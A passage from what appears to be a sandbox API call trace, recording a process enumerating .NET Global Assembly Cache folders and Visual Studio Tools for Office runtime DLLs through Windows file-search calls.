	[0088.655] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.655] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.655] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Runtime\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.applications.runtime\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.655] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Runtime\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34c51a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd34c51a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd34c51a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.655] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34c51a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd34c51a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd34c51a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.655] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd34c51a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd34c51a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd34c51a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x137a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.655] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.655] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.656] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.applications.serverdocument"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.656] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a1baa0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6a1baa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a1baa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.656] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a1baa0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6a1baa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a1baa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.656] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34eb300, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd34eb300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd34eb300, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.656] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.656] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.657] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.applications.serverdocument\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.657] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34eb300, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd34eb300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd34eb300, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.657] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34eb300, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd34eb300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd34eb300, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.657] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd34eb300, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd34eb300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd34eb300, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.657] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.657] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.657] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.containercontrol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.657] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ecd220, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ecd220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ecd220, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.657] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ecd220, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ecd220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ecd220, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3583880, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd3583880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3583880, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.658] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.658] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.containercontrol\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.658] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3583880, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd3583880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3583880, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3583880, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd3583880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3583880, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3583880, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd3583880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3583880, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x129a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.ContainerControl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.658] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.658] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.659] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.runtime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.659] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd374c900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd374c900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd374c900, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.659] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.659] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.runtime\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.659] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd374c900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd374c900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd374c900, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd374c900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd374c900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd374c900, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd374c900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd374c900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd374c900, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x60f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Runtime.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.660] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.660] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.660] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.Internal" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.runtime.internal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.660] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.Internal\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.660] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.660] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd37bed20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd37bed20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd37bed20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.660] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.660] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.661] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.Internal\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.runtime.internal\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.661] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.Internal\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd37bed20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd37bed20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd37bed20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.661] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd37bed20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd37bed20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd37bed20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.661] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37bed20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd37bed20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd37e4e80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x209a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Runtime.Internal.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
